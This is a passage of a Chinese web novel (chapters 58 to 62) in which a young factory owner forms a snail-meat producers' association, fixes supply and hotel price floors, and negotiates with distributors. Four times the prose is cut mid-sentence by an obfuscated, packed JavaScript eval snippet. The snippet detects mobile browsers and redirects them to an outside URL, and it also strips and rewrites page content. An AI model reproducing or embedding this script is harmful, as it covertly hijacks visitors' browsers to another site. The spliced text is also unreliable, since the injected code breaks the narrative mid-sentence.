写写画画，涂涂抹抹，一个计划在心里成型。 一周后。 县某中型饭店门口。 韩丽娟站在一个自行车旁，安静的等待。 二八大杠，后座上安一个保温箱。跟韩丽娟当初的配置一样。 她没等多一会，一个人就从饭店出来，走到自行车旁，准备推着自行车离开，赶往下一家。 “嘿，有时间吗？”韩丽娟出声阻止他。 ？ 被拦着的人，侧头看见一个女人，抱着双臂，背靠摩托车，正一瞬不瞬的盯着他。 “叫我？”这人谁呀？但，他三十好几的打蜡爷们，他也不怕她。“干啥？” “对，叫你。”韩丽娟站定身子，朝男人走过来。“你好，自我介绍一下，我叫韩丽娟，你可能听过，也可能没听过，县里几家大型酒店的波螺肉，都是我供货的。” 原来她就是韩丽娟！ 男人听过这个名字，以前没听过，但自从一个小作坊大闹酒店，然后被酒店行业除名后，他就记住这个名字了。 一直听说韩丽娟是个年轻人，今日一看，果真年轻啊！ “你好，我知道你，韩丽娟。”中年男人回。“我叫隋大勇，你……有事？” 他仔细想了想，他应该没得罪她。虽然大家都说，那个作坊是去人家大酒店闹，被人家酒店警告了，但男人知道，这其中韩丽娟一定做了什么。 “我听说，最近大家波螺肉价格已经降到6块3毛钱了，怎么样，想不想把价格在涨回去？”韩丽娟没有直接说啥事，而是反问道。 这话说得，中年男人心想，谁不想把价格涨回去啊，但问题是涨不回去。 目前大家都在靠，看谁能把谁熬死，他们的价格，还有几毛的降价空间，现在就看谁最先挺不住。 “你有办法？”男人将信将疑。 “后天下午三点，到我的厂子来一趟。”韩丽娟点头，但没说怎么办，而是让这个男人后天下午三点去找她。 韩丽娟将她工厂的地址留下，“信我的，就来找我，不信我，三个月过后，我敢保证，你这作坊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17262918|195029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 活不下去。” 说完这句，韩丽娟没在废话，接着找下一个作坊负责人。 她趁着这些供货商上午送货的时间段，赶紧联系。一会下午还要出去跑市场呢。 隋大勇目送韩丽娟的摩托车远去。 后天下午三点，去她的工厂干什么？ 他在迟疑去不去。她真的有办法吗？不然去看看，晴天白日的，应该不会出事儿吧。 隋大勇骑着自行车，回家找他媳妇商量去了。 不行就他们两口子一起去。 按照韩丽娟给的时间，隋大勇两口子来到韩丽娟的厂子。 让他们两口子意外的是，院子里呜呜泱泱站的都是人。 “咦？你也来了！”隋大勇甚至在人群里见到熟人。 隔壁村的那个小作坊两口子也来了。 “嗯呢，昨天上午，韩丽娟在饭店门口堵着我，跟我说，有重要事要谈，让我过来。”那人笑呵呵的说。 隋大勇不信韩丽娟这么跟他说的，他又不是没经历过，这小姑娘看着年轻，说话可是很唬人的，说的是不来作坊活不下去。 不过确实是重要的事。 “你说，到死啥事，搞得这么神秘。” 他们来的有些早，才两点半。 透过玻璃，能看到韩丽娟的工厂里，工人们在忙碌。 玻璃擦的很干净，哪怕隔着防盗，也能看见屋里的情形。 工人们也偶尔抬头看院子里的他们，但因为大家都带着口罩，还真没有几个人说话。 “不好意思，让大家在院子里待一会，工人们还没下班，再过十分钟，大家就可以进屋了。”姜美凤出来迎接这些人。 娟子安排今天工人两点四十下班。三点要用厂子，没想到，这些人到的太早。只能在院子等着。 大家都不是什么娇气的人，何况都好奇今天到底啥事，不过在外面待十几分钟，还是能等的。 过了一会，果真看见工人三三两两的离场，走的时候，跟院子里的他们互相打量。 这时，也听见摩托车声音由远及近。 韩丽娟从市里赶回来，就看到院子里的人，来的挺多。 很好，该她大展拳脚了！ “感谢大家百忙中，抽空前来。”她停好车，就走到人群中央。“知道大家等的有些着急，但大家别急，一步步来，我先带大家参观一下我的厂子。” 说完，韩丽娟带着众人走进工厂。 虽然干的活是产品加工，但厂房里面很干净，地面踩上去是清爽的，一点也不粘腻，墙面也没有乱七八糟的污渍，空气中除了浓郁的煮波螺的鲜味，没有其他乱七八糟的味道。走廊过道，每个车间门口都有一个洗手池，还有镜子。 生产车间里，中间干净的工作台，靠近窗户一侧是货柜，靠门一侧是换衣柜。同样的干净明亮。 打包车间的机器，更是他们见都没见过的。 整个厂区里，十分暖和，摸一下暖气片，热乎乎的。 这个环境，难怪卖的东西比他们的贵，果真贵有贵的道理。 参观一圈后，大家在一个生产车间坐下。 “大家都很忙，我长话短说，今天叫大家过来，是准备成立一个波螺肉生产联合会。” 59. 第 59 章 “联合会是啥？” “啥是联合会？” “这玩意干啥的？” “没听过。” “不知道。” 车间里，韩丽娟的话音落下，大家就交头接耳，议论纷纷。联合会这种词，对于大家来说，太过陌生。 “大家有去年就入这一行的，也有今年开始做的，不管早晚，都经历了最近这波降价风波的冲击。”韩丽娟扫视一圈，接着说。“之所以降价，是市场的需求没变，而咱们做这行的人在增加。” 可以说，今天坐在这里的这些人，既是受害者，也是加害者。 “同时，在波螺肉降价的同时，原料香波螺却在涨价。” 去年香波螺批发价一块钱能搞到两斤半到三斤，今年一块钱两斤，都是老主顾的价格。 一斤波螺肉，需要三到四斤的原料。 工人成本有人高，有人低，但因为韩丽娟这边给的高，所以，其他作坊至少的也会给到2块8一斤到3块一斤。 去年，算上水电柴，小作坊一斤波螺肉成本在4块5左右。今年，估计一斤成本都突破5块，涨5到8毛钱。 “上游，酒店在逼迫大家降价，下游，香波螺价格还在涨，属于咱们的利润越来越少。咱们大家应该联合起来，维持住咱们产品的市场价格。” “怎么维持？”有人听后问。“我也不想降，但我不降别人降，那我就没生意。” 这话一出，大家都点头赞同。 谁也不傻，谁想降价啊，那不是没办法嘛。人家酒店就说了，你不降，有人降，那就得降啊。最开始酒店找他们谈价格的时候，没抗住，现在酒店已经完全拿捏住他们这些小作坊。想把价格涨回去甚至维持住，太难。 因为等到了夏天，淡季，订单更少，利润空间虎进一步被压榨。 “你还说呢，就你最先降价的吧，我之前的一个客户，就被你降价撬走了。” 这人的话音刚刚落下，又有另一个人说话。后说话的这人语气中带着气愤。 “你不也降价抢我的客户了。”最开始说话的人，回道。“我一开始就降了5毛，你一下子降了一块呢！” “那是不是你先开始降的。” “你也降了！” “你先降的。” “我也不是第一个，是他们小作坊先降的，他们都不用养工人，给钱就卖！” “怎么可能是我们小作坊，我一天的产量才10斤。但我们小作坊可被降价坑苦了，以前一个月能赚两千多，现在一个月一千出头，我们家三个人自己干，还算是赚钱，要是雇人，刨除工资，我一个月就赚两三百，跟出去上班没啥区别。” “你看你，自己都说了，现在一个月赚1000多，我都没你赚的多，你自己家三口人，我五个工人，还要给人开工资，一个月也就赚不到一千块，都没你赚的多。” “我的意思不是我们小作坊，大作坊吃肉，我们才能喝到汤，我们那十斤八斤的货，怎么可能影响到价格，是他们大作坊先降的。” “我们一开始也没降价！”其中一个家里有十多个工人的作坊说。“不知道谁到我的客户那里，说自己能低价供货，我那客户直接就跟我说了，人家能8块，你8块5太贵，让我降价，不降就不用我了，我能怎么办！” “好了，大家吵什么呢？”姜美凤看到这么一群人，都替韩丽娟头疼，将这些人联合到一起，真的能行吗？ “事情已经发生了，再去追到底是谁的问题，已经不那么重要了，我今天叫大家来，不是让大家吵架的，而是让大家稳住价格，一起赚钱的。”听了一圈，韩丽娟出声制止。 说来说去，就是市场不够。 “怎么联合，怎么稳住，一定有人偷着降价！” 有人一针见血。 “就是！” “我就说是……” 眼看着又要吵起来。 隋大勇两口子看一眼对方，出声缓解。“价格不是大家这么吵起来的。咱们听听韩厂长把话说完。” “韩厂长，我不是反对你的建议。”刚刚说有人偷着降价的那个人接过话。“你的想法是好的，也是为了大家，但同行是冤家，大家防着彼此都来不及，怎么可能一起维护价格呢。” 这话说的对，韩丽娟是赞同的，但没办法，谁叫她入了这行，并且想在这行好好的把钱赚了呢。 现在她的情况是，她缺人缺货，这些人货多的没处卖。 这是双赢的。但前提是，把这些同行（hang）变成同行（xing）的人。 韩丽娟接过话。“大家刚刚的话我都听了，其实咱们内心里都是不想降价的，但市场在这摆着，不降就一分钱都赚不到，都是为赚钱，这件事本没有对错，今天叫大家来也不是为了分个对错。” “今年，我的工厂有新的销售渠道，本来呢，我想着再找个大点的厂区，增加人手，扩大生产。但想了想，作为最早入这行的人，我应该牵头，让行业健康的发展，而不是我自己一个人赚钱，让大家在下面打价格战打成一锅粥。因此，我取消了原来的想法，改为跟大家订货，让大家不再为生产大于销售而发愁。” “哗！” 这话一出，议论声比刚才争吵声音都大。 “签多少？价格怎么定的？”有人反应快，已经开始问。 “价格在4块8到5块3之间，根据市场价格，会有一点波动。”韩丽娟回道。 “啊？”听到这个价格，众人面面相觑。 刚刚还说六块多的价格不赚钱，要联合大家定价，怎么给出的价格这么低，这个价格是赔钱的。 “韩厂长，你要不是真心地就直说，把大家都叫过来，却给这么一个价格，这不诚心拿大家开玩笑的嘛。” “我签订的单子，原料我来供应。”韩丽娟补充到。“根据我这的生产经验，一斤波螺肉，三斤八两的原料，多不退，少不补。” “工人成本一斤三块，水电柴其他乱七八糟一斤算2毛，万一某一批波螺出肉率低，需要自己贴补点原料，一斤成本3块5顶破天了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17269143|195029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。那这里一斤最少赚1块5。”有人开始在心里核算。 这合同值。 “我签！”还有人没算明白，就有人着急忙慌的要签合同。 “我还没说完。”韩丽娟却按住那个要签合同的，接着说道。 “既然已经将要求说了，索性说完，我的厂子大家也看了，我对卫生有要求，必须有独立的房间做工作间，那种在自己家炕头摆张桌子当工作台的，不行。屋里设洗手池，工人必须带帽子，口罩还有系围裙。长发员工头发必须梳起来……” 韩丽娟又说了自己的规矩。 “以及，我要求的是，如果在我这里接订单，那么，酒店那边，你们自己的供货价格，在给我供货的价格基础上，加2块钱。也就是，如果咱们签订的是5块钱的供货合同，酒店那边就不能低于7块钱。” 这两块钱差不多就是原材料的成本。 韩丽娟这么做，一是为了防止市场价格过低，影响自己产品价格。二是，防止自己成为冤大头。 给她供货的作坊，她的进货价格不能高于酒店的进货价格。 “这……”有人犹豫。 “韩厂长，我们所有人的货你都能消化的掉吗？”有人问。 韩丽娟摇头。“目前不能，我会尽量将订单平均分给大家。但目前大家不都是手里都有酒店的订单吗？咱们这些人，每天多出来的产能就是三五十斤。这部分，我可以保证，全部收走。” 市场体量太小。多出几十斤，都能影响到价格。 “嗡嗡嗡嗡~”韩丽娟的话说完，大家又开始议论。韩丽娟这个价格是可以的，要是几个月前，这个价格没人接，但现在，他们卖给酒店的利润都没有韩丽娟给的价格高。 但韩丽娟又要求他们跟酒店涨价，可酒店那边不同意怎么办呢？ “这件事是自愿的，愿意签就留下，不愿意现在就离开，我也不阻止。”韩丽娟不逼迫众人一定要跟她走。 “刚刚有人说，同行是冤家，但我今天叫大家来，是希望未来大家一起并肩同行。同行（hang）是冤家，但同行（xing）是战友，我在这个行业里，真心地希望行业好，大家好。我拿出自己的诚意，如果未来大家同行，也希望大家也能拿出自己的诚意。我保证，我未来从大家手里签的订单只会增加，不会减少！” “韩厂长，我签！”隋大勇两口子商量后，隋大勇站出来。“酒店那边我去谈，给我涨价就合作，不给我涨价我就不给供货了，他们给的价格太低了！我相信，韩厂长会做的越来越好，我今天减少的产量，未来一定能提上来！” 他给酒店供货，一斤现在就剩下不到一块钱的利润，就这酒店还挑三拣四，采购、财务话里话外的要好处。 韩厂长这里的价格给的比酒店高，没啥好合计的，大不了他不跟酒店合作了。 听韩厂长刚刚说的话那架势，以后她的销量一定会增加，那么这几个月减产赔的钱，到冬天一定会赚回来。 “我也签！” “我也！” 60. 第 60 章 有人带头，犹豫不决的人纷纷跟进。 韩丽娟之前挨个大中型酒店门口蹲点，把整个县目前做这个的人都叫来了。 大家左右看看，发现自己知道的、认识的都在。 估计就算遗漏，也是那种三两个人的小作坊，单独给一家供货的那种。 所以，没啥顾虑的，签！ 但今天签的不是正式合同，韩丽娟这边要求他们回去对自己的工作间进行整理，她要逐一的去检查，确认合格，才最终签订合同。 “关于价格，大家都一样，淡季价格会相对低一些，旺季价格高一些。还有就是受市场的香波螺价格影响，现在市场上香波螺价格高，所以，我给你们的价格定在是5块1毛钱。如果市场上香波螺价格降下来，我的成本低了，给到大家的价格每斤涨几分到一毛。” 韩丽娟跟众人把价格说开，既然是联合，就不会搞不同的价格。 “酒店那边，大家最低价就是7块1毛钱，我相信，大家不会放过这次提价的机会，现在人比较全，大家商量一下，酒店那边的供货价格区间。” 韩丽娟说完她能给到的价格，又开始游说众人，提高酒店供应价格。 “我觉得，咱们把价格定在7块5到8块钱之间，低不低于7块五，怎么样？”隋大勇看了看众人，尤其是那个有十多人作坊的人，说出自己的想法。 “韩厂长这里，目前咱们送货，但韩厂长承诺咱们，等今年入冬前，她就能做到上门取货。而且还给咱们的员工每年每人提供定量的口罩跟帽子围裙，套袖，这些都是成本，如果咱们卖给酒店的价格低了，韩厂长这里就会赔钱。” 人人心里有一笔账，如果韩丽娟真的能带他们卖出更多的货，那韩丽娟好，他们就好，韩丽娟如果卖的不好，他们没人牵头，产能过剩，最后还是会回到价格战。 隋大勇觉得，既然韩丽娟也需要把货卖出去，他们这里价格稳定住，甚至稍微高一些，也会有助于韩丽娟卖上价。 “我都看他们那菜单了，他们酒店香波螺类的产品价格并没有因为咱们降价而降价，他们还是该卖多少是多少。” 一份香葱波螺，之前12块，现在还是12块。 “就是，而且所有的海鲜加工活里面，咱们这个是最考验耐力跟功夫的，也是最累的！” “我看这个价格行，咱们都按照这个区间去谈，最低不能低于7块5毛钱。近期如果有小作坊新加入，就把她拉入韩厂长的联合会来。”众人你一句，我一句，之前也不是每人想找同行们聊聊，但每人牵头，也没办法解决多余的产品。 “韩厂长，还得是你呀，咱们想了半个月没解决的问题，你这一出手，也算看到曙光了。” “大家跟酒店还有一场拉锯战，大家放心，我承诺大家，如果这次大家因为价格没谈拢而丢失订单，我会尽快补足订单数量。各位之间，大家以后都要互相合作，咱们彼此的客户不要去抢，想要提高销量，往外冲！” 韩丽娟提议，既然是联合，那彼此就不能拆台。 众人点头，这个是应该的，而是韩丽娟这边订单会增加，他们完全没必要去抢酒店的订单，继而在韩丽娟这被除名，得不偿失。 送走众人，韩丽娟长舒一口气。 “娟子，咱们为什么要给他们供原料，让他们自己买，咱们只收成品不是更省事吗？”姜美凤没想明白，本来他们跟唐文丽的合作，能拿到很低的原料价格，但，如果给很多家送货后，唐文丽的送货成本增加了，这部分成本是要加到他们身上的。 同时，计算送货数量跟核对订单数量，也是很大的一部分工作。 相比之下，各个作坊这钱简直赚的太过简单。 “因为就是要让他们依靠我们，他们生产的越多，她能为他们提供更多的服务，这样联系越深，这些作坊才不会产生独立出去自己干的想法。因为外面的世界，不仅价格不保证，还要自己解决很多问题。”韩丽娟心想，未来，等她跟唐姐之间的联系更深之后，她还会建议各个作坊其他原料都从唐姐这里购买，可以给优惠价。让他们更离不开自己的手掌心。 “这样各个作坊之间才是绝对的公平，不会因为各自之间的利润不同而争吵。”韩丽娟说了其中一个原因。 “也是。”姜美凤点点头，认同韩丽娟的想法。 韩丽娟这个大动作，很快在餐饮业掀起一波哗然。 一向最好拿捏的波螺肉作坊，竟然联合起来，集体涨价了！ 虽然价格跟最高峰□□快的时候，还有差距，这也让大家奇怪，怎么这些小作坊，都支棱起来了呢？ 细细打听，才知道这里面竟然有韩丽娟的手笔。 “我老早就猜到，你一定会阻止价格继续跌下去。”之前帮过她的王老板给她打电话，聊起这件事。“有时间没，我去你那看看。” 王老板开始对韩丽娟的产品好奇。 虽然之前韩丽娟答应产品做起来后，将县城的市场给到他，目前，市场才刚刚起步，还远远没到时候，但王老板决定提前行动。一面夜长梦多。 韩丽娟当然欢迎。 “不错不错。”王老板转了一圈，对韩丽娟的工厂赞赏有加。 “这个产品做的干净利索。”他拿起一袋500克包装的产品。“什么价位？”问道。 “您这边如果进货，按照9块5给您算。”韩丽娟说，她知道王老板问的是批货价。 王老板摇头。“9块5高了。” “市里的铺面我都是10块多批发的，您的渠道成熟，也不用太费力推，一斤一块钱的利润，对您来说，不费力气，轻松赚的。”韩丽娟知道王老板还要往下批发，所以，价格跟市里的终端还是有差别。 “现在他们来我酒店送货不过7块多，不到8块，我9块多进你的产品，还不如招工人，自己收货，打包生产了。” 这就是业内做生意的坏处，价格太透明，利润多少被人分析的透透的。 “您当然可以自己生产，厂房，工人，机器、包装这些成本均摊下来，每斤不多，几毛钱。我把您的成本核算成8块，那您往外批发，会跟客户要多少？8块1毛钱吗？”韩丽娟反问。 一条鱼， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17273334|195029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 捕捞成本可能就几毛钱，但转手几块、十几块的卖，不能因为哪个中间商家里有船，他有一部分鱼的成本只有几毛钱，就要求市场按照他的捕捞成本给他供货。 王老板心里想到的价格，完全是自产自销的价格，丢掉所有中间商。但凡他要招批发商，他也会把价格定在9块多。 “那也贵。”王老板没有反驳韩丽娟关于他如果做供货商，也会将价格定在九块多的言论。 她说的对。 “你看哈，咱们县城，就算现在是吃波螺的季节，但市场有限，现阶段，每天的销量多不过百八十斤，那我每天的毛利不过百八十块。”他是根据其他海产品的销量推演出来的大概。 “周末节假日可能会多一些，但我的利润有限。这样，你把价格定在8块9毛钱，市里的市场，我也帮你开发。” 王老板觉得县里的市场还是太小，不如市里。韩丽娟现在不正在开拓市里的市场呢吗，他整好能做，解决她的燃眉之急。 她能去签更多的订货合同，他能增加利润。 双赢。 不料韩丽娟却摇了摇头。 “价格9块2，市里我可以给您一个区，但不能全给。其他的区，我有别的经销商。” 她这款产品有区域性，没办法做到外市，外省。所以，鸡蛋不能在一个篮子里。王老板如果掐死她的终端销售，那未来她就受制于人，完全成了王老板的代工厂。 她现在对这些很敏感。 王老板笑了一声。韩丽娟这个小姑娘，看着踏实勤劳，实际也一肚子花花肠子。 “那就再给我便宜点。一斤9块。”市场敏感，人家不给，也没办法争，那就价格。 “看销量吧。”韩丽娟略一思索。“现阶段我给您9块2，未来，等今年冬天销售旺季，达到销售额的，卖的最好的区，都会给一些返利政策。” 韩丽娟没同意9块，她知道这帮老狐狸，未来还会变着法的要降价。她才不能一步把价格撸到底，到时候自己赔本赚吆喝，这种傻事，她不干。 “行吧，那市里的区，现在我可以自己选？”王老板问。 “有一个区已经有人了。您可以选剩下的几个。”韩丽娟在市里跑过，知道哪个区最繁华，她决定把最繁华的留给自己。 自己手里必须掐住一部分终端，而且是重点的终端。 “行。”王老板一眼看透，嘟囔一句滑头，现在的年轻人，真是两眼就是朝钱看啊。 他们这些老骨头，早晚就被拍在沙滩上。 二月，三月，韩丽娟每天忙着跑作坊，检查店面是否合格，去市里开发新客户。 门店好找，但是，经销商难寻啊。 这天，韩丽娟从商场出来，她走到路边的一个花坛边，想靠在花坛上歇一会。 “姑娘，买份报纸吧，地上多脏啊，又能看，又能坐，一份三毛钱。”一个卖报纸的老大爷凑过来。 韩丽娟买了一份，翻着看。 ？ 这上面怎么还有那么多小广告！ 对呀，她可以再报纸上打广告呀。 61. 第 61 章 “韩丽娟香波螺肉，诚招经销商，产品质量过硬，滨海市场广阔，详询电话……” 广告很好打，只要花钱就能解决。韩丽娟照着报纸上的广告热线，打过去，三两天，她的广告就见报了。 “叮铃铃~”这边韩丽娟正拿着报纸，欣赏自己的广告。下一秒，电话就响了，这么快！ “喂，你好。”韩丽娟拿起电话。 电话那边有短暂的沉默。“韩丽娟？” “对，我是。”韩丽娟回道。“您……”您是看到广告想要了解详情吗。 “我是李春来。”电话那边，李春来听到韩丽娟的“您”就知道，她应该没听出来自己的声音，赶紧自报家门。 “李春来？”韩丽娟有些意外，原来是李春来。 她就说，这广告效果也太好了吧。今早的报纸，这才不到九点，就有人打电话过来。 要知道，当时广告部那边的人建议她连续登报一周的，不然怕是没效果。 韩丽娟直接买了一个月的。 “之前你说你们厂招司机，让我帮着打听，你们厂现在还需要吗？” 李春来说明打电话的来意。 确实是有这么一回事，春节返工的时候，在客车上遇到李春来，她当时广撒网来着。 “需要的。”韩丽娟回。李春来还挺靠谱，当个事来办了。“是个什么样的人？” “我以前的战友，跟咱们一样，都是农村的，人品没得说，踏实肯干，就是不怎么会说场面话，平时话不多。开车技术没的说，当初是他教我开的车，会开也会修。”李春来简单介绍一下。 韩丽娟沉默，能被李春来说话不多的，那应该真的话不多。但，她的司机不需要承担销售的任务，不需要话多。 “那他什么时候能过来呢？”韩丽娟问。“这边现在需要人手，但来了后目前当不上专职的司机，可能需要做一些别的，工资这方面不用担心，按照司机的工资开，一个月450。” 韩丽娟现在需要司机，但是，她没有钱来买车。 倒是有企业往外卖二手面包，三四万块钱。韩丽娟有这么一笔钱，但现在她要保证自己的现金流。 作坊那边，她需要给人月结工钱。终端也是月结给她，但终端一定是压货的，差不多压半个月左右的货量，韩丽娟有一部分钱就压在货款里。 还有就是五六月，她准备动工，在院子里修两排房子。 之前计划只是沿着大门口保安亭这一侧，建一排。但随着业务增加，她需要办公室，安排销售，会计等这些职能部门人员的工位，于是沿着大门另一侧，韩丽娟也准备盖一排。 随着资金投入的增加，她想，她应该先把这个幼儿园的地方买下来，不然投入越来越多，两年半以后，容易出问题。 这也是一笔钱。 日常运转，还需要资金。所以，除非她手上的现金流超过十万，否则她不能动用钱来买车。不然厂子容易周转不开。 她现在买不了车，但她需要人手，可以让司机过来，跟着她跑一跑市场，认认路，认认人，还有就是买下幼儿园之后，盖房子，需要有人盯现场。 “你能做主吗？”李春来听到韩丽娟说的果断，但他不知道十级情况。 “能。”韩丽娟说。“你就说人啥时候能来吧。” “嗯……”李春来那边有些犹豫。“他这边看你着不着急，着急就马上过去，不着急等我这边有车去滨海，他蹭车过去，大概十天半个月左右。但他想带着他媳妇一起过去，俩人在那边没有认识的人，你能不能帮着租个房子，不用太大，够他们两口子住就行。” 李春来不知道韩丽娟能不能帮着找房子。 “他们两口子都不是事多的人，房子能住就好，不会挑东挑西的。”末了，李春来还补充一句。 “噗~”韩丽娟笑了。 能让李春来说这么多，看样子，这个人跟李春来关系确实不错。 “是家里很困难吗？”韩丽娟问。“我这边倒是有一个符合要求的房子。”韩丽娟爷奶过来，她计划换房，换成两个卧室的。“但是房租550一年，价格不是很便宜。”这还是胖婶给她的友情价，因为韩丽娟的这个工厂，他们村的房租都涨了。“优点是拎包入住，水电齐全。还离着我们厂近，缺点嘛就是稍微贵了几十块。至于他上班的时间，如果跟你的车能省一些钱，那就让他跟着你的车过来吧，但给我一个具体的时间，我到时候去接他们。” 李春来做主帮他战友答应这套房子，也帮他战友感谢韩丽娟。“谢谢你，韩丽娟。” 俩人又约定，等李春来这边出发前，给韩丽娟打电话，告知她接人的时间后，挂了电话。 “美凤姨，我要出去，如果来了咨询电话，就说老板出去谈业务，跟对方另约一个时间，我下午三点后回来。” 广告虽然打了，韩丽娟也不准备守株待兔，该出去跑还是要跑一跑的。 现在的天不冷不热，适合跑业务。夏天骑摩托带头盔，会很热的。 “韩厂长！” 韩丽娟还没起身。就听到有人喊着她的名字，大步流星走进她的厂子，身后还拽着一个人。 她定睛一看，好么，这俩人都是他们联合会的小作坊主。 怎么吵起来了！ “怎么了？”姜美凤在韩丽娟前，先挡过去。“把手放开，这么拉拉扯扯的进厂子，让工人看着笑话。” “没事，美凤姨，你先去忙，这里我来解决。”她就知道，这个联合会不会风平浪静的。 但这才几天啊，就吵架。 “韩厂长，你给我评评理，他撬我的工人！” 进来后，前面那个拽着别人的男子，终于把手松开，开始告状。 “韩厂长，我冤枉啊！”后面被拽那个慢斯条理的整理一下衣服领子，跟韩丽娟说。 这俩人都姓吴，是一个村的，据说往上数几代，还有亲。 就现在，村子里论辈分，那个高头大个的，还要管被他拽进来的叫五叔。“大侄子，你那工人是自愿的。” “什么自愿的，你这个老狐狸，你去勾搭人家！” “谁看见我勾搭了？” “我看见了！” “你栽赃！” “我怎么栽赃，你跟她说话，然后她就不在我这干，跑去你家了。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17280955|195029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “她是你啥人，我不能跟她说话？” “我的工人，你就不能说！” “地主老财都没你这么霸道，大侄子，就因为你这么不讲理，员工才不想在你这做的。” “明明是你不讲理！韩厂长，你给评评理，到底是谁不讲理！” 清官难断家务事，韩丽娟心里想，今天她怎么就没早点出门，被这叔侄俩堵住。 听听，听听，这都什么事啊。 远房叔侄俩，一个村的，因为一个员工从这家跳到那家，吵起来了。她怎么管？“你俩这大白天的，没事干，来我这扯皮，怎么，活都干完了？” “没干完，干不完了，我的员工被撬走了。”吴大个找把椅子，坐下。 “你被撬走一个员工就完不成订单？”韩丽娟问。“所以你来找我，是想跟我说，让我减少你家的订单吗？” “不是！”吴大个赶忙解释。“我能干完，一会回去加班加点的也能干完。” “嗤~”一旁发出嗤笑声。 “虽然我之前说的是，大家不要互相抢客户，没说不能互相抢工人，但你这做法跟人品，你觉得我放心把订单给你吗？” 说完那个大个，韩丽娟又把目光转向在一旁看热闹的吴“老狐狸”。 “不不不，我真的没有要撬他的工人。”吴狐狸解释道。“他给工人每斤的价格是3块，我涨价呀，我每斤3块1毛钱。” 工人也不是傻子，自己知道去谁家。 “他就这样，我要是3块1，他就3块2！他学人精，当初是我先搞起来小作坊的，他看我搞，他也跟着搞，然后，她去县里，找人家酒店，降价卖货。他是一块‘臭肉’，坏了咱们整个行业这锅汤。”大个儿一听，开始抖落。 嗯？ 破案了。所以，一开始降价去卖货的是他？ “韩厂长，我这算不得‘臭肉！’别人卖货，我也要卖货，适当的降价，我觉得是可以的。但我也没想到，人家酒店就抓住这次机会，开始压榨我们这些小作坊。”吴狐狸赶忙解释。他一开始，真的就是想卖点货，赚点钱。 市场饱和了，没有客户了，怎么办？那就抢啊。怎么抢，最简单的办法，降价！ 他想的很简单，等他把客户拿到手，再也不降，不就完了。可，他降，别人也降。哎，说到底，不过就是一场简单的商战。然后，如果没有韩丽娟的出现，满盘皆输而已。 韩丽娟听明白了，这个人算不得狐狸，有点小聪明，顾头不顾腚的。 “你俩自己去商量，给工人价格定多少合适。”韩丽娟不想管这俩人的官司了。反正低了工人不干，高了他们没钱赚。 “我们是合作关系，但我希望你俩清楚一点，这件事，是你们作为作坊主，应该有能力解决的问题，如果这点事情都需要我来解决，你们俩是干什么的？” 韩丽娟知道，作坊主们之间，会有争吵，也会找到她这里，但这种涉及到工资的问题，他们自己解决去，她不给人工人开工资，管不到。 她还有事忙呢。 送走这俩“无头脑”。韩丽娟准备出门。 “叮铃铃~”电话又响了。 62. 第 62 章 “你好，是韩丽娟香波螺肉厂家吗？”电话那边的人问。 “对。”韩丽娟回道，看来是看着广告找来的。 “你们厂家什么规模，需要经销商年销量达到多少？价格怎么算的？”那边人一听，问题接踵而至。 “咱们约个时间，你来我厂里，参观一下，面谈吧。”电话里三言两语的说不清楚，韩丽娟觉得，还是见面说比较好。 “那行。”那边的人也很痛快，要了地址，约了时间，就挂了。 嘿，没想到这广告还有点效果。 这钱花的值！ 这钱岂止是花得值，简直花的太值了。 一天，韩丽娟接了十多个咨询电话。都是有意向的，韩丽娟分别约了时间。 这……困扰她的问题这么轻松就解决了？ 韩丽娟想，现在她要反过来挑选供货商了！ 第二天，约的人分时段到来，韩丽娟严阵以待。 昨天最先打电话过来的人，围着韩丽娟的厂房转了一圈，板着脸，一言不发。 “谈谈价？”等把整个厂区都转遍了，说了打招呼以后得第一句话。 “经销商按照销量，500克的价格在9块2到9块5之间。250克……” “这价不行。”韩丽娟还没说完，对方就摇头。“你这建议零售价是15块8，批发价得对半劈，7块9。市场上那些什么刀鱼、鲅鱼的都是这样，甚至，销售淡季或产量高峰期批发价可能是市场价的四折，三折。” 